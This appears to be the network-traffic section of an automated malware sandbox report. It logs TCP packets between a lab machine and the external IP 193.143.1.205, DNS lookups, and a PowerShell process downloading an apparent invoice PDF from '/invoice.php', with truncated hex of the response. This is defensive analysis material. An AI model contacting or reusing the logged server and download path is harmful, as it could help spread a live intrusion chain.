Jan 11, 2025 05:46:54.950221062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950243950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.950282097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950319052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.950356960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950367928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950377941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950387955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950397015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.950426102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.981667995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981687069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981697083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981786013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981796026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981798887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.981806993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981818914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981870890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.981950998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981961012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981971979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.981993914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982013941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982080936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982090950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982100010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982110977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982141972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982173920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982321978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982331038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982336998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982342958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982352018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982362032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982372999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982383966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982413054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982583046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982594013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982609987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982619047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982630968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982645988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982718945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982728958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982763052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982845068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982856035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982865095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982875109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982883930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982887983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982894897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982904911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982916117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982918978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982929945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.982953072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.982974052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.983490944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983501911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983511925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983520985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983530998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983540058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983551025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983556032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.983561993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983572960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983582020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983587027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.983592033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983602047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983604908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.983612061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983622074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983625889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.983633041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.983637094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.983659983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984173059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984185934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984196901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984224081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984255075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984303951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984314919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984354973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984457970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984468937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984487057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984498024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984508038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984508991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984520912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984532118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984543085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984544992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984553099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984561920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984566927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984574080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984574080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984585047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984595060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984605074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984608889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984615088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.984633923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.984639883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985410929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985423088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985433102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985443115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985451937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985462904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985469103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985471010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985481977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985491037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985496998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985503912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985507011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985515118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985523939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985527039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985533953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985544920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985554934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985563993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985564947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985574007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985584021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985589981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985594988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.985615015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.985639095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.986300945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986314058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986323118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986334085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986341953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986350060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.986352921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986363888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986370087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.986375093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986386061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986397982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.986403942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986413002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.986418962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.986443043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.986618996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.031761885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031783104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031795025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031892061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031903982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031903028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.031914949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031943083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031953096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.031963110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.031976938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.036972046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037017107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037029982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037045002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.037071943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.037081957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037166119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037178040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037189007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037199020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.037211895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.037233114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.068552017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068571091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068589926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068603039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068614006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068627119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068656921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.068690062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.068810940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068823099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068834066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068845034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068851948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.068856955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068869114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.068877935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.068907976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.069067001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069078922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069091082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069103003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069113970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069114923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.069123983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069124937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.069137096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.069156885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.069180965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.069312096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.110037088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.168378115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.705987930 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.711034060 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:55.711262941 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.711335897 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:55.733973980 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:56.551558018 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:56.594419003 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:58.331830025 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:47:08.715153933 CET	53670	53	192.168.2.5	1.1.1.1
Jan 11, 2025 05:47:22.453545094 CET	54056	53	192.168.2.5	1.1.1.1
Jan 11, 2025 05:47:34.844187975 CET	54448	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:47:08.715153933 CET	192.168.2.5	1.1.1.1	0x6be1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:47:22.453545094 CET	192.168.2.5	1.1.1.1	0x19e5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:47:34.844187975 CET	192.168.2.5	1.1.1.1	0x4615	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 05:47:08.722417116 CET	1.1.1.1	192.168.2.5	0x6be1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:47:22.460175991 CET	1.1.1.1	192.168.2.5	0x19e5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:47:34.851228952 CET	1.1.1.1	192.168.2.5	0x4615	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5500	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:46:53.545588017 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:46:54.304047108 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:46:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:46:54.304085016 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:46:54.304101944 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:46:54.304117918 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:46:54.304133892 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 05:46:54.304203987 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 05:46:54.304219961 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 05:46:54.304277897 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 05:46:54.304354906 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
